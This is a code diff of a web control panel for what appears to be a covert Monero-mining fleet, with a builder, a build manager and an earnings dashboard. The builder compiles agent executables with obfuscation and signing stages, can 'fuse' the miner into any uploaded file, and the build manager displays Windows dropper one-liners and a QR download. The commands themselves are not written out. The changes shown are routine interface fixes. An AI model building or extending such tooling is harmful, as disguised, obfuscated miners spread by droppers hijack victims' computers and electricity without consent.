const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`; const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
@@ -249,7 +265,11 @@ function BuildCard({
{/* ── Dropper one-liners ── */} {/* ── Dropper one-liners ── */}
<div className="bm-dropper"> <div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div> <div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}
</div>
<div className="bm-dropper-row"> <div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span> <span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code> <code className="bm-dropper-cmd">{ps1}</code>
@@ -274,7 +294,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span> <span className="bm-qr-label">Scan to download</span>
</div> </div>
<div className="bm-action-btns"> <div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} /> <PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button <button
type="button" type="button"
className="btn btn-secondary bm-reforge-btn" className="btn btn-secondary bm-reforge-btn"
@@ -282,7 +302,7 @@ function BuildCard({
> >
Re-forge Re-forge
</button> </button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} /> <DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div> </div>
</div> </div>
</NeonCard> </NeonCard>
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]); const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true); const [loading, setLoading] = useState(true);
const [error, setError] = useState(''); const [error, setError] = useState('');
const [serverBase, setServerBase] = useState(''); const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
const navigate = useNavigate(); const navigate = useNavigate();
const applyServerBase = useCallback((suggestedUrl?: string) => {
const pub = suggestedUrl?.trim().replace(/\/$/, '');
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
}, []);
const loadBuilds = useCallback(async () => { const loadBuilds = useCallback(async () => {
try { try {
const list = await api.listBuilds(); const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list); setBuilds(list);
setError(''); setError('');
if (info) applyServerBase(info.suggested_url);
else applyServerBase();
} catch (e) { } catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds'); setError(e instanceof Error ? e.message : 'Failed to load builds');
applyServerBase();
} finally { } finally {
setLoading(false); setLoading(false);
} }
// Load server base URL separately so a slow/hung server-info call }, [applyServerBase]);
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]); useEffect(() => { loadBuilds(); }, [loadBuilds]);
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
onReforge={handleReforge} onReforge={handleReforge}
onDeleted={loadBuilds} onDeleted={loadBuilds}
onPinned={loadBuilds} onPinned={loadBuilds}
onActionError={(msg) => setError(msg)}
/> />
))} ))}
</div> </div>

View File

@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds); return forgeDefaultsFromServerSmart(config, serverInfo, builds);
} }
// Simulated stage timeline — (label, target% completed at this point, min ms from start) // Simulated stage timeline — real compiles (garble/universal/fusion) often take 1030+ min.
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
const FORGE_PROGRESS_CAP = 94;
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 }, { label: 'Resolving dependencies...', pct: 6, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 }, { label: 'Compiling agent source...', pct: 18, minMs: 20000 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 }, { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 }, { label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 }, { label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 }, { label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 }, { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
]; ];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
@@ -153,6 +155,9 @@ export default function BuilderPage() {
const forgedThisSessionRef = useRef(false); const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false); const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode); const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
// Drive simulated stage progress while a single build is running // Drive simulated stage progress while a single build is running
useEffect(() => { useEffect(() => {
@@ -175,14 +180,14 @@ export default function BuilderPage() {
} }
const s = FORGE_STAGES[next]; const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target % // Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98; const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000; const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
const stageElapsed = elapsed - s.minMs; const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs; const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0; const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac; const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next; if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct)); setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
forgeStageTimerRef.current = setTimeout(advance, 250); forgeStageTimerRef.current = setTimeout(advance, 250);
}; };
advance(); advance();
@@ -238,8 +243,10 @@ export default function BuilderPage() {
setListenPort(config.port || 8989); setListenPort(config.port || 8989);
} }
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : []; const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]); const buildList = builds as BuildRecord[];
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates })); const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
}) })
.catch((err) => { .catch((err) => {
console.error(err); console.error(err);
@@ -257,17 +264,21 @@ export default function BuilderPage() {
} }
}; };
// Handle ?reforge=<buildId> links from Build Manager page // Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
useEffect(() => { useEffect(() => {
const reforgeId = searchParams.get('reforge'); const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return; if (!reforgeId || !form || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId); const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) { if (match) {
reForgeFromBuild(match); const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setPendingReforgeBuild(match);
setError('');
setLastBuild(null);
setSearchParams({}, { replace: true }); setSearchParams({}, { replace: true });
} }
// eslint-disable-next-line react-hooks/exhaustive-deps // eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]); }, [searchParams, recentBuilds, form]);
const finishForgeSuccess = async (result: BuildResponse) => { const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100); setStage('Build complete!', 100);
@@ -355,6 +366,12 @@ export default function BuilderPage() {
} }
}; };
const focusFusionPrepPicker = () => {
setHighlightFusionPrep(true);
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
};
const reForgeFromBuild = async (build: BuildRecord) => { const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return; if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest; const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
@@ -366,8 +383,9 @@ export default function BuilderPage() {
// server after a build completes (M15). Prompt the user to re-upload first. // server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) { if (merged.fusion_enabled && !fusionPrepFile) {
setError( setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.' 'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
); );
focusFusionPrepPicker();
return; return;
} }
@@ -651,7 +669,16 @@ export default function BuilderPage() {
await finishForgeSuccess(result); await finishForgeSuccess(result);
} catch (err: any) { } catch (err: any) {
if (err.message !== 'build cancelled') { if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed'); let msg = err?.message || 'Build failed';
const aborted =
err?.name === 'AbortError' ||
/abort|timed out|timeout/i.test(msg);
if (aborted) {
msg =
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
}
setError(msg);
void loadRecentBuilds();
} }
} finally { } finally {
cancelTokenRef.current = ''; cancelTokenRef.current = '';
@@ -702,7 +729,7 @@ export default function BuilderPage() {
[form, fusionPrepFile] [form, fusionPrepFile]
); );
const preflightChecks = useMemo( const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []), () => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
[form, fusionPrepFile] [form, fusionPrepFile]
); );
const canForge = form ? !preflightHasErrors(preflightChecks) : false; const canForge = form ? !preflightHasErrors(preflightChecks) : false;
@@ -811,6 +838,39 @@ export default function BuilderPage() {
return ( return (
<div className="page fade-in command-deck"> <div className="page fade-in command-deck">
<SetupBanner status={setupStatus} /> <SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
<span></span>
<div style={{ flex: 1 }}>
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
Settings were loaded from Build Manager. Confirm to start compiling this cannot be undone mid-forge.
</p>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
<button
type="button"
className="btn btn-primary btn-sm"
disabled={building}
onClick={() => {
const build = pendingReforgeBuild;
setPendingReforgeBuild(null);
void reForgeFromBuild(build);
}}
>
Confirm Re-forge
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={building}
onClick={() => setPendingReforgeBuild(null)}
>
Cancel
</button>
</div>
</div>
)}
{/* Hidden file input for importing blueprint .json files */} {/* Hidden file input for importing blueprint .json files */}
<input <input
type="file" type="file"
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
{form.fusion_enabled && ( {form.fusion_enabled && (
<> <>
{/* Single-file pick (used when Forge button is clicked) */} {/* Single-file pick (used when Forge button is clicked) */}
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}> <div
ref={fusionPrepRef}
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
>
<div className="label-row"> <div className="label-row">
<label className="label"> <label className="label">
Drop any file to fuse <HelpTip field="fusion_prep" /> Drop any file to fuse <HelpTip field="fusion_prep" />
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
accept="*" accept="*"
onChange={(e) => { onChange={(e) => {
applyFusionFileSelection(e.target.files?.[0] || null); applyFusionFileSelection(e.target.files?.[0] || null);
setHighlightFusionPrep(false);
e.target.value = ''; e.target.value = '';
}} }}
/> />

View File

@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument(); expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
}); });
it('shows projection charts and wealth strip with no agents', async () => { it('does not show projection or fake earnings with no agents', async () => {
renderDashboard(); renderDashboard();
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument(); expect(await screen.findByText('Command Deck')).toBeInTheDocument();
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument(); expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument(); expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument(); expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
}); });
it('renders stat labels and top agent card', async () => { it('renders stat labels and top agent card', async () => {

View File

@@ -12,7 +12,6 @@ import {
PoolStatusPanel, PoolStatusPanel,
AIActivityPanel, AIActivityPanel,
EarningsEstimator, EarningsEstimator,
WealthEarningsPreview,
FleetHealthCard, FleetHealthCard,
ContributionBars, ContributionBars,
UnderperformerList, UnderperformerList,
@@ -46,9 +45,6 @@ import {
} from '../help/fleetAnalytics'; } from '../help/fleetAnalytics';
import { import {
resolveChartSeries, resolveChartSeries,
SAMPLE_ACTIVITY,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from '../help/chartSampleData'; } from '../help/chartSampleData';
import './Pages.css'; import './Pages.css';
@@ -133,6 +129,14 @@ export default function DashboardPage() {
} }
}, [recentShares]); }, [recentShares]);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0); const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length; const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0); const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
@@ -154,7 +158,7 @@ export default function DashboardPage() {
[gpuAgents] [gpuAgents]
); );
const bestGPUAgent = useMemo( const bestGPUAgent = useMemo(
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null, () => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
[gpuAgents] [gpuAgents]
); );
const gpuModels = useMemo( const gpuModels = useMemo(
@@ -166,10 +170,8 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0; const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0; const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
useEffect(() => { useEffect(() => {
if (previewDeck || totalHashrate <= 0) { if (totalHashrate <= 0) {
setEstXmrDay(null); setEstXmrDay(null);
return; return;
} }
@@ -183,15 +185,7 @@ export default function DashboardPage() {
if (!controller.signal.aborted) setEstXmrDay(null); if (!controller.signal.aborted) setEstXmrDay(null);
}); });
return () => controller.abort(); return () => controller.abort();
}, [totalHashrate, previewDeck]); }, [totalHashrate]);
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
useEffect(() => { useEffect(() => {
const now = new Date().toLocaleTimeString(); const now = new Date().toLocaleTimeString();
@@ -199,38 +193,21 @@ export default function DashboardPage() {
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]); setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]); setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]); setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0; if (totalGPUHashrate > 0) {
if (gpuVal > 0 || previewDeck) { setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
} }
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]); }, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
const hashChart = useMemo( const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }), const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
[hashHistory, displayHashrate] const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
); const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
const acceptChart = useMemo( const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
[acceptHistory, displayAccept]
);
const cpuChart = useMemo(
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
[cpuHistory, displayCpu]
);
const memChart = useMemo(
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
[memHistory, displayMem]
);
const gpuChart = useMemo(
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
[gpuHistory, totalGPUHashrate]
);
const estUsdDay = useMemo(() => { const estUsdDay = useMemo(() => {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice; if (estXmrDay == null || xmrPrice == null) return null;
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay; return estXmrDay * xmrPrice;
return xmr != null ? xmr * price : null; }, [estXmrDay, xmrPrice]);
}, [previewDeck, estXmrDay, xmrPrice]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]); const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -247,9 +224,8 @@ export default function DashboardPage() {
ok: s.accepted, ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined, time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
})); }));
if (live.length > 0) return live; return live;
return previewDeck ? SAMPLE_ACTIVITY : live; }, [shares]);
}, [shares, previewDeck]);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0); const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts; const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -427,12 +403,6 @@ export default function DashboardPage() {
<AuditLogStrip limit={6} /> <AuditLogStrip limit={6} />
</div> </div>
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects
</p>
)}
<header className="deck-hero wealth-hero"> <header className="deck-hero wealth-hero">
<div className="deck-hero-text"> <div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p> <p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
@@ -470,7 +440,7 @@ export default function DashboardPage() {
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot"> <div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill"> <div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div> <div className="dwp-label">Fleet Hash</div>
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div> <div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
<div className="dwp-sub">15m rolling</div> <div className="dwp-sub">15m rolling</div>
</div> </div>
<div className="deck-wealth-pill"> <div className="deck-wealth-pill">
@@ -478,19 +448,19 @@ export default function DashboardPage() {
<div className="dwp-value mint"> <div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'} {estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div> </div>
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div> <div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
</div> </div>
<div className="deck-wealth-pill"> <div className="deck-wealth-pill">
<div className="dwp-label">Accept</div> <div className="dwp-label">Accept</div>
<div className="dwp-value">{displayAccept.toFixed(1)}%</div> <div className="dwp-value">{acceptRate.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div> <div className="dwp-sub">share quality</div>
</div> </div>
<div className="deck-wealth-pill"> <div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div> <div className="dwp-label">Nodes Live</div>
<div className="dwp-value"> <div className="dwp-value">
{displayOnline}/{displayAgentTotal} {onlineCount}/{agents.length}
</div> </div>
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div> <div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
</div> </div>
</div> </div>
@@ -514,8 +484,8 @@ export default function DashboardPage() {
<section className="gauge-row"> <section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud> <NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing <GaugeRing
value={displayHashrate} value={totalHashrate}
max={Math.max(displayHashrate * 1.2, 1000)} max={Math.max(totalHashrate * 1.2, 1000)}
label="Fleet Hash" label="Fleet Hash"
sublabel="15m avg" sublabel="15m avg"
color="var(--neon-cyan)" color="var(--neon-cyan)"
@@ -524,21 +494,21 @@ export default function DashboardPage() {
</NeonCard> </NeonCard>
<NeonCard accent="green" className="gauge-card" hud> <NeonCard accent="green" className="gauge-card" hud>
<GaugeRing <GaugeRing
value={displayOnlinePct} value={onlinePct}
label="Online" label="Online"
sublabel={`${displayOnline}/${displayAgentTotal}`} sublabel={`${onlineCount}/${agents.length}`}
color="var(--neon-green)" color="var(--neon-green)"
size={110} size={110}
/> />
</NeonCard> </NeonCard>
<NeonCard accent="purple" className="gauge-card" hud> <NeonCard accent="purple" className="gauge-card" hud>
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} /> <GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard> </NeonCard>
<NeonCard accent="amber" className="gauge-card" hud> <NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing <GaugeRing
value={displayCpu} value={avgCpu}
label="CPU" label="CPU"
sublabel={`RAM ${displayMem.toFixed(0)}%`} sublabel={`RAM ${avgMem.toFixed(0)}%`}
color="var(--neon-amber)" color="var(--neon-amber)"
size={110} size={110}
/> />
@@ -548,26 +518,24 @@ export default function DashboardPage() {
<div className="grid-4 stats-grid steampunk-stats"> <div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat"> <NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div> <div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div> <div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{displayOnline} engines firing</div> <div className="stat-sub">{onlineCount} engines firing</div>
</NeonCard> </NeonCard>
{previewDeck ? ( <EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<WealthEarningsPreview xmrPrice={xmrPrice} />
) : (
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
)}
<NeonCard accent="green" className="stat-card-wrap wealth-stat"> <NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div> <div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted"> <div className="stat-value accepted">
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span> {onlineCount} <span className="stat-dim">/ {agents.length}</span>
</div> </div>
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div> <div className="stat-sub">{agents.length - onlineCount} dormant</div>
</NeonCard> </NeonCard>
<NeonCard accent="purple" className="stat-card-wrap wealth-stat"> <NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div> <div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div> <div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub"> <div className="stat-sub">
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`} {acceptedShares + rejectedShares > 0
? `${acceptedShares} valid · ${rejectedShares} rejected`
: 'no shares yet'}
</div> </div>
</NeonCard> </NeonCard>
<NeonCard accent="amber" className="stat-card-wrap"> <NeonCard accent="amber" className="stat-card-wrap">
@@ -819,9 +787,8 @@ export default function DashboardPage() {
{/* ── Analytics row — always visible ─────────────────────────────────── */} {/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars <ContributionBars
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []} bars={contribs}
sample={previewDeck && contribs.length === 0} xmrPerDay={estXmrDay ?? undefined}
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
xmrPrice={xmrPrice} xmrPrice={xmrPrice}
/> />
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} /> <UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
@@ -862,7 +829,7 @@ export default function DashboardPage() {
</div> </div>
</Suspense> </Suspense>
{(hasGPUMining || previewDeck) && ( {hasGPUMining && (
<Suspense fallback={<ChartPlaceholder height={220} />}> <Suspense fallback={<ChartPlaceholder height={220} />}>
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}> <NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
<HashrateChart <HashrateChart
@@ -907,7 +874,7 @@ export default function DashboardPage() {
<span className="section-ornament"></span> Share Activity Pulse <span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" /> <span className="section-line" />
</h2> </h2>
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} /> <ActivityPulse items={activityItems} />
</NeonCard> </NeonCard>
<section className="section"> <section className="section">

View File

@@ -501,6 +501,26 @@
margin-bottom: 1rem; margin-bottom: 1rem;
} }
.reforge-confirm-banner {
color: var(--neon-cyan, #00e5ff);
background: rgba(0, 229, 255, 0.08);
border-color: rgba(0, 229, 255, 0.35);
}
.fusion-prep-picker.fusion-prep-highlight {
padding: 0.75rem;
border-radius: 8px;
outline: 2px solid var(--accent-red);
outline-offset: 2px;
background: rgba(239, 68, 68, 0.08);
animation: fusion-prep-pulse 1.2s ease-in-out 3;
}
@keyframes fusion-prep-pulse {
0%, 100% { outline-color: var(--accent-red); }
50% { outline-color: rgba(239, 68, 68, 0.35); }
}
.build-btn { .build-btn {
width: 100%; width: 100%;
justify-content: center; justify-content: center;

View File

@@ -50,6 +50,18 @@ body {
padding: 2rem; padding: 2rem;
} }
.session-degraded-banner {
position: sticky;
top: 0;
z-index: 200;
padding: 0.5rem 1rem;
text-align: center;
font-size: 0.85rem;
color: #fbbf24;
background: rgba(251, 191, 36, 0.12);
border-bottom: 1px solid rgba(251, 191, 36, 0.35);
}
.error-boundary-fallback { .error-boundary-fallback {
padding: 1.5rem; padding: 1.5rem;
margin: 1rem 0; margin: 1rem 0;

View File

@@ -0,0 +1,49 @@
RUN v2.1.9 G:/crypto miner/server/web
